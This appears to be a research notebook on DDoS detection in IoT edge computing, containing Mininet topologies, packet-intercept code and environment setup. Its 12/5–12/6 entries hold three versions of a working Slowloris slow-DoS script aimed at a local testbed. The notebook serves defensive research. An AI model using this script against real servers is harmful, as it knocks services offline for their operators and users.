[TOC]
# Survey
[MEC survey](/4SRV-6rSTg2bEN24xYP9mg)
[EarlyDectionPreventDDOSuseingSDN](/fvsv88fdQA2uUylZ0SyStA)
[Design of Advanced Slow Denial of Service Attack](/HSPAVj3OTQOstfPP44aqtg)
[DDoS Attack and Detection Methods in Internet-Enabled Networks](/omTWuaD-TqGGn-gVpUd54w)
[Hierarchical Security Paradigm for IoT Multiaccess Edge Computing](/8sjSu0pwQ1SB3-Aji463HQ)
# Experiment or implement
## Topology

Python Script
```python
from mininet.net import Containernet
from mininet.node import Docker
from mininet.cli import CLI
from mininet.log import setLogLevel, info
from mininet.link import TCLink, Link
def topology():
net = Containernet(link=TCLink)
h1 = net.addHost('h1')
h2 = net.addHost('h2')
h3 = net.addHost('h3')
Link(h1, h2)
Link(h2, h3)
net.build()
#static routing
h2.cmd("echo 1 > /proc/sys/net/ipv4/ip_forward")
h1.cmd("ifconfig h1-eth0 0")
h1.cmd("ip address add 192.168.1.1/24 dev h1-eth0")
# Routing Table
h1.cmd("ip route add default via 192.168.1.254 dev h1-eth0")
h2.cmd("ifconfig h2-eth0 0")
h2.cmd("ifconfig h2-eth1 0")
h2.cmd("ip address add 192.168.1.254/24 brd + dev h2-eth0")
h2.cmd("ip address add 10.0.0.254/24 brd + dev h2-eth1")
# Routing Table
h2.cmd("ip route add 192.168.1.0/24 via 192.168.2.1")
h2.cmd("ip route add 10.0.0.0/24 via 192.168.2.2")
h3.cmd("ifconfig h3-eth0 0")
h3.cmd("ip address add 10.0.0.1/24 dev h3-eth0")
# Routing Table
h3.cmd("ip route add default via 10.0.0.254 dev h3-eth0")
CLI(net)
net.stop()
topology()
```

## Queue/intercept packets
### Reference
https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwi27I_DzMyAAxUXGIgKHVRCAVUQFnoECBAQAQ&url=https%3A%2F%2Fblog.csdn.net%2Fsuperbfly%2Farticle%2Fdetails%2F115376361&usg=AOvVaw3JKV8rMhdtnHJvXlyYhWIu&opi=89978449
https://zhuanlan.zhihu.com/p/444359965
key words
NFQUEUE function (linux kernel)
---
Scapy capture packets
https://blog.csdn.net/THMAIL/article/details/107490573
---
[Scapy](/5IyQ5Ks1RWWZcgMTEDstcw)
---
Ubuntu16:04
ssh key configuration
ssh-keygen -t ecdsa -b 256 -m PEM
Anaconda.com
https://repo.anaconda.com/archive/Anaconda3-5.0.0.1-Linux-x86.sh
In to virtual environment
```
source activate scapyPythonEnv
```
使用 anaconda -> 會讓整個跑掉 mininet/scapy 會找不到Libary..
-> Try miniconda?
NetifilterQueue
```
sudo apt install libnfnetlink-dev libnetfilter-queue-dev
pip3 install nfqp3
```
---
miniconda
wget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh -O ~/miniconda3/miniconda.sh
```bash
conda deactivate
```
```
conda create --name py3.7 python=3.7
conda activate py3.7
```
```
conda activate scapyEnv3.7
```
```
conda config --set auto_activate_base false
conda config --set auto_activate py37
```
8/9
nfqueueIntercept.py
```python
import socket
from scapy.all import IP
import netfilterqueue
import os
os.system('iptables -A INPUT -j NFQUEUE --queue-num 0')
def packetParse(payload):
data = payload.get_payload()
pkt = IP(data)
# 打印封包資訊
print("Received Packets:")
print(pkt.summary())
print("=" * 40)
# 接受封包並繼續處理
payload.accept()
def main():
#
os.system('iptables -A INPUT -j NFQUEUE --queue-num 0')
#Instance
queue = netfilterqueue.NetfilterQueue()
#Configuration
queue.bind(0, packetParse)
try:
queue.run() #Main loop
except KeyboardInterrupt:
queue.unbind() #server to server concat
#Rule delete
os.system('iptables -D INPUT -j NFQUEUE --queue-num 0')
if __name__ == "__main__":
main()
```

## Packet Forward 8/13
nfqueueForward.py
```python
import socket
from scapy.all import *
import netfilterqueue
import os
def forwardPacket(packet, newDstIP):
# obtaining Packet
data = packet.get_payload()
pkt = IP(data)
# display packet info
print("Received Packets:")
print(pkt.summary())
# packet Forward
pkt[IP].dst = newDstIP
send(pkt)
print(f'Packet forward to {newDstIP}')
print("=" * 40)
#Action
#packet.accept() -> pass the packet
#packet.drop() -> drop the packet
packet.drop()
def main():
os.system('iptables -A INPUT -j NFQUEUE --queue-num 0')
#Instance
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, lambda packet: forwardPacket(packet,'10.0.0.1'))
try:
queue.run() #Main loop
except KeyboardInterrupt:
queue.unbind() #server to server concat
#Rule delete
os.system('iptables -D INPUT -j NFQUEUE --queue-num 0')
if __name__ == "__main__":
main()
```
packet.accept()

---
packet.drop()

---
2023/8/16

```python
from mininet.net import Containernet
from mininet.node import Link
from mininet.cli import CLI
from mininet.link import TCLink
def topology():
net = Containernet(link=TCLink)
h1 = net.addHost('h1')
mec = net.addHost('mec')
RS = net.addHost('RS')
LS = net.addHost('LS')
Link(h1, mec)
Link(mec, RS)
Link(mec, LS)
net.build()
h1 .cmd("ifconfig h1-eth0 0")
h1 .cmd("ip address add 192.168.1.1/24 dev h1-eth0")
h1 .cmd("ifconfig h1-eth0 up")
h1 .cmd("ip route add default via 192.168.1.254")
mec.cmd("ifconfig mec-eth0 0")
mec.cmd("ifconfig mec-eth1 0")
mec.cmd("ifconfig mec-eth2 0")
mec.cmd("ip address add 192.168.1.254/24 brd + dev mec-eth0")
mec.cmd("ip address add 11.0.0.254/24 brd + dev mec-eth1")
mec.cmd("ip address add 10.0.0.254/24 brd + dev mec-eth2")
mec.cmd("ifconfig mec-eth0 up")
mec.cmd("ifconfig mec-eth1 up")
mec.cmd("ifconfig mec-eth2 up")
mec.cmd("echo 1 > /proc/sys/net/ipv4/ip_forward")
LS .cmd("ip address add 10.0.0.3/24 dev LS-eth0")
LS .cmd("ifconfig LS-eth0 0")
LS .cmd("ifconfig LS-eth0 up")
LS .cmd("ip route add default via 10.0.0.254")
RS .cmd("ifconfig RS-eth0 0")
RS .cmd("ip address add 11.0.0.3/24 dev RS-eth0")
RS .cmd("ifconfig RS-eth0 up")
RS .cmd("ip route add default via 11.0.0.254")
CLI(net)
net.stop()
if __name__ == '__main__':
topology()
```
---



----
LS
Analysis Packets
---
8/30
Update
HTTP request
LSrecy.py
mec.py
HTTP GET Request
```python
from scapy.all import *
src_ip = "192.168.1.1"
#Target machine
dstIP = "10.0.0.3"
dstPort = 80
#Packet Archi
ipHeader = IP(src=src_ip, dst=dstIP)
tcpHeader = TCP(sport=RandShort(), dport=dstPort)
httpGetRequest = "GET / HTTP/1.1\r\nHost: meowhecker.com\r\n\r\n"
packet = ipHeader/tcpHeader/Raw(load=httpGetRequest)
#str() : wating the response (and save the response info to response variable)
response = sr1(packet)
if response:
print("Response")
print(response.summary())
print(response.show())
else:
print("No message Receive!!")
```

h1 --- > 12.0.0.1 (RS)

h1 ---> 10.0.0.3 (LS)

LS RS 不會吃到
---
9/7
Attack packet
Update mec.py (fix BUG)

---

---
10/5 LS send block IP to MEC

---
## Evaluated Connection time
timeout setting

request
```
GET /meow.html HTTP/1.1
Host: 127.0.0.1:8000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
```

server.py
```python=
from http.server import BaseHTTPRequestHandler, HTTPServer
import socketserver
import socket
import time
import os
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
#Configure Path
root_directory = "./"
path = self.path
file_path = os.path.join(root_directory, path[1:])
print(file_path)
if os.path.exists(file_path):
# 读取文件内容并发送回客户端
with open(file_path, 'rb') as file:
content = file.read()
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(content)
else:
# 文件不存在,返回 404 错误
self.send_error(404, "File Not Found")
# request start
#server.py->HTTPServer->socketserver->StreamRequestHandler->setup->_init_742
#
# reqeust finshed
#server.py->HTTPServer->socketserver->StreamRequestHandler->finished->_init_742
#
if __name__ == '__main__':
#server.py->HTTPServer->socketserver->StreamRequestHandler(785 line)
server_address = ('', 8000)
httpd = HTTPServer(server_address, MyHandler)
#print(httpd.socket)
#print(httpd.server_name)
print('Server started on port 8000...')
httpd.serve_forever()
```
socketserver.py
742
```python=
def __init__(self, request, client_address, server):
self.request = request
self.client_address = client_address
self.server = server
self.setup()
print("reqeust Start")
connection_start_time = time()
print(f'request{connection_start_time}')
try:
self.handle()
finally:
self.finish()
connection_end_time = time()
print(f'end{connection_end_time}')
duration = connection_end_time - connection_start_time
print(f"Duration of connection: {duration} seconds")
print("request Finish")
```

---
12/5
slowloris Attack Testing

12/6
Attack Script
Version 1
```
import platform
import sys
import ssl
import socket
targetIP = "127.0.0.1"
targetPort= 80
targetHostName = None
#python Agent
pythonVersion=sys.version.split()[0]
osInfo = platform.system()
pythonAgent = pythonVersion + osInfo
def CreaetingSocket(targetIP,targetPort):
malSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
malSocket.settimeout(5)
# if (target is https)
# context = ssl.create_default_context()
# #Conifuger SSL
# context.verify_mode = ssl.CERT_NONE # Not attempt to verify the SSL certification
# context.check_hostname = False # Check the hostname whether match with CN (comment name)
# # CN (Common Name) is a field that is part of the certificate's Subject field.
# secureSocket = context.wrap_socket(socket,server_hostname=hostame )
malSocket.connect((targetIP,targetPort))
#Construting HTTP packet
RequestLine = "GET /index.html HTTP/1.1\r\n"
#Header
hostHeader = f"host:{targetIP}\r\n"
userAnget = f"User-Agent:{pythonAgent}" #lack \r\n\r\n (Exploit the vuln)
HttpRequest = RequestLine+hostHeader+userAnget
malSocket.send(b'{HttpRequest}')
if __name__ == "__main__":
for i in range(100):
try:
#Connetct to Target
CreaetingSocket(targetIP,targetPort)
except Exception as e:
print("Error",str(e))
```
HTTP request WOrk

```
```
No connection
```python
#Construting HTTP packet
RequestLine = "GET / HTTP/1.1\r\n"
#Header
hostHeader = f"Host: {targetIP}\r\n"
userAnget = f"User-Agent: {pythonAgent}\r\n\r\n"
#connection = "Connection: keep-alive\r\n\r\n" #lack \r\n\r\n (Exploit the vuln)
HttpRequest = RequestLine.encode()+hostHeader.encode()+userAnget.encode()
```

Syn <->RST 時間差可能是 socket Time OUT


version 2
```
import platform
import sys
import ssl
import socket
targetIP = "127.0.0.1"
targetPort= 80
targetHostName = None
socketExistsList = []
#python Agent
pythonVersion=sys.version.split()[0]
osInfo = platform.system()
pythonAgent = pythonVersion + osInfo
def sendHttpEncoding(self,payload):
self.send(payload.encode("utf-8"))
setattr(socket.socket,'sendHttpEncoding', sendHttpEncoding)
def CreaetingSocket(targetIP,targetPort):
malSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
malSocket.settimeout(10)
# if (target is https)
# context = ssl.create_default_context()
# #Conifuger SSL
# context.verify_mode = ssl.CERT_NONE # Not attempt to verify the SSL certification
# context.check_hostname = False # Check the hostname whether match with CN (comment name)
# # CN (Common Name) is a field that is part of the certificate's Subject field.
# secureSocket = context.wrap_socket(socket,server_hostname=hostame )
malSocket.connect((targetIP,targetPort))
#Construting HTTP packet
requestLine = "GET / HTTP/1.1\r\n"
#Header
hostHeader = f"Host: {targetIP}\r\n\r\n"
userAnget = f"User-Agent: {pythonAgent}\r\n"
connection = "Connection: keep-alive\r\n" #lack \r\n\r\n (Exploit the vuln)
malSocket.sendHttpEncoding(requestLine)
malSocket.sendHttpEncoding(hostHeader)
#malSocket.sendHttpEncoding(userAnget)
#malSocket.sendHttpEncoding(connection)
return malSocket
if __name__ == "__main__":
for i in range(100):
try:
#Connetct to Target
malSocket = CreaetingSocket(targetIP,targetPort)
#print(malSocket)
except Exception as e:
print("Error",str(e))
break
socketExistsList.append(malSocket)
print(str(socketExistsList))
```
Keep Alive
```python=
def KeepAlive():
print("Keep-Alive /// . ///")
print(f"The Number of Current Socekt:{len(socketExistsList)}" )
for malSocket in list(socketExistsList):
try:
malSocket.sendHttpEncoding("MeowHeader: A\r\n")
except:
socketExistsList.remove(malSocket)
```
Version3
```python=
import time
import platform
import sys
import ssl
import socket
targetIP = "127.0.0.1"
targetPort= 80
targetHostName = None
socketExistsList = []
#python Agent
pythonVersion=sys.version.split()[0]
osInfo = platform.system()
pythonAgent = pythonVersion + osInfo
def sendHttpEncoding(self,payload):
self.send(payload.encode("utf-8"))
setattr(socket.socket,'sendHttpEncoding', sendHttpEncoding)
def CreaetingSocket(targetIP,targetPort):
malSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
malSocket.settimeout(10)
# if (target is https)
# context = ssl.create_default_context()
# #Conifuger SSL
# context.verify_mode = ssl.CERT_NONE # Not attempt to verify the SSL certification
# context.check_hostname = False # Check the hostname whether match with CN (comment name)
# # CN (Common Name) is a field that is part of the certificate's Subject field.
# secureSocket = context.wrap_socket(socket,server_hostname=hostame )
malSocket.connect((targetIP,targetPort))
#Construting HTTP packet
requestLine = "GET / HTTP/1.1\r\n"
#Header
hostHeader = f"Host: {targetIP}\r\n"
userAnget = f"User-Agent: {pythonAgent}\r\n"
connection = "Connection: keep-alive\r\n" #lack \r\n\r\n (Exploit the vuln)
malSocket.sendHttpEncoding(requestLine)
malSocket.sendHttpEncoding(hostHeader)
return malSocket
def KeepAlive():
print("Keep-Alive /// . ///")
print(f"The Number of Current Socekt:{len(socketExistsList)}" )
for malSocket in list(socketExistsList):
try:
malSocket.sendHttpEncoding("MeowHeader: A\r\n")
except:
socketExistsList.remove(malSocket)
if __name__ == "__main__":
for i in range(100):
try:
#Connetct to Target
malSocket = CreaetingSocket(targetIP,targetPort)
#print(malSocket)
except Exception as e:
print("Error",str(e))
break
socketExistsList.append(malSocket)
print(str(socketExistsList))
while True:
try:
KeepAlive()
except KeyboardInterrupt:
print("OK, bye")
break
time.sleep(5)
```


Socket -> 200 DOS success


----
2024/2/1
Topology 改進


```
#!/usr/bin/env python
# docker images(Checker Images), docker pull kathara/quagga (Download Images)
# Defaut accout password zebra / (meow)
from mininet.net import Containernet
from mininet.cli import CLI
from mininet.link import TCLink, Link
from mininet.log import info, setLogLevel
setLogLevel('info')
net = Containernet()
# Normal-Node
USER1 = net.addHost('USER1')
ATTACKER1 = net.addHost('ATTACKER1')
USER2 = net.addHost('USER2')
ATTACKER2 = net.addHost('ATTACKER2')
# Router-Node
MEC1 = net.addDocker('MEC1', dimage="kathara/quagga:latest", volumes=["/home/user/Desktop/iotMecDDos/0830_Meow/DynamicRoutingOSPF/MEC1/quagga:/etc/quagga"])
RS = net.addDocker('RS', dimage="kathara/quagga:latest", volumes=["/home/user/Desktop/iotMecDDos/0830_Meow/DynamicRoutingOSPF/RS/quagga:/etc/quagga"])
MEC2 = net.addDocker('MEC2', dimage="kathara/quagga:latest", volumes=["/home/user/Desktop/iotMecDDos/0830_Meow/DynamicRoutingOSPF/MEC2/quagga:/etc/quagga"])
# Linking the Node
net.addLink(USER1, MEC1)
net.addLink(ATTACKER1, MEC1)
net.addLink(MEC1, RS)
net.addLink(RS, MEC2)
net.addLink(MEC2,USER2)
net.addLink(MEC2,ATTACKER2)
net.build()
# Normal-Node(Area1) setting
USER1.cmd("ifconfig USER1-eth0 0")
ATTACKER1.cmd("ifconfig ATTACKER1-eth0 0")
USER1.cmd("ip address add 192.168.10.1/24 dev USER1-eth0")
ATTACKER1.cmd("ip address add 192.168.20.2/24 dev ATTACKER1-eth0")
USER1.cmd("ip route add default via 192.168.10.254 dev USER1-eth0")
ATTACKER1.cmd("ip route add default via 192.168.20.254 dev ATTACKER1-eth0")
#MEC1 Setting
MEC1.cmd("ifconfig MEC1-eth0 0") # USER1 <-> MEC1
MEC1.cmd("ifconfig MEC1-eth1 0") # Attacker <-> MEC1
MEC1.cmd("ifconfig MEC1-eth2 0") # ME1 <-> RS
MEC1.cmd("ip addr add 192.168.10.254/24 brd + dev MEC1-eth0")
MEC1.cmd("ip addr add 192.168.20.254/24 brd + dev MEC1-eth1")
MEC1.cmd("ip addr add 140.1.1.1/24 brd + dev MEC1-eth2")
MEC1.cmd("/etc/init.d/quagga restart")
#RS Setting
RS.cmd("ifconfig RS-eth0 0") #MEC1<->RS
RS.cmd("ifconfig RS-eth1 0") #MEC2<->RS
RS.cmd("ip addr add 140.1.1.2/24 brd + dev RS-eth0")
RS.cmd("ip addr add 140.1.2.2/24 brd + dev RS-eth1")
RS.cmd("/etc/init.d/quagga restart")
#MEC2 Setting
MEC2.cmd("ifconfig MEC2-eth0 0") # RS <-> MEC2
MEC2.cmd("ifconfig MEC2-eth1 0") # RS <-> USER2
MEC2.cmd("ifconfig MEC2-eth2 0") # RS <-> ATTACKER2
MEC2.cmd("ip addr add 140.1.2.1/24 brd + dev MEC2-eth0")
MEC2.cmd("ip addr add 192.168.30.254/24 brd + dev MEC2-eth1")
MEC2.cmd("ip addr add 192.168.40.254/24 brd + dev MEC2-eth2")
MEC2.cmd("/etc/init.d/quagga restart")
# Normal-Node(Area2) Setting
USER2.cmd("ifconfig USER2-eth0 0")
ATTACKER2.cmd("ifconfig ATTACKER2-eth0 0")
USER2.cmd("ip address add 192.168.30.1/24 dev USER2-eth0")
ATTACKER2.cmd("ip address add 192.168.40.2/24 dev ATTACKER2-eth0")
USER2.cmd("ip route add default via 192.168.30.254 dev USER2-eth0")
ATTACKER2.cmd("ip route add default via 192.168.40.254 dev ATTACKER2-eth0")
CLI(net)
net.stop()
```
OSPF Setting File
```
hostname MEC1
password meow
router ospf
ospf router-id 1.1.1.1
network 192.168.10.0/24 area 0.0.0.0
network 192.168.20.0/24 area 0.0.0.0
network 140.1.1.0/24 area 0.0.0.0
log file /var/log/quagga/zebra.log
```
---
# Setting Environment
```bash=
docker pull kathara/quagga
docker run --privileged -it kathara/quagga:latest bash
docker run --privileged -it kathara/quagga:v1.1 bash
```
Install python Virtual ENV
```bash
wget -c https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh
chmod +x Miniconda3-latest-Linux-x86_64.sh
./Miniconda3-latest-Linux-x86_64.sh
```
# update repository configuration & Install require library & software
```
echo "deb http://archive.debian.org/debian stretch main" > /etc/apt/sources.list
apt update
#Install require library & software
apt-get install libnetfilter-queue-dev
pip install netfilterqueue
pip install scapy
pip install numpy
pip install torch
pip install scikit-learn
pip install matplotlib
```



---
NFS Setting
```
docker run --privileged -it kathara/quagga:v1.1 bash
apt-get install nfs-kernel-server
apt-get install nfs-common
docker commit
```



```
docker commit 3a7d20d0496e kathara/quagga1:v1.3
docker save -o kathara_quagga1_v1.3.tar kathara/quagga1:v1.3
```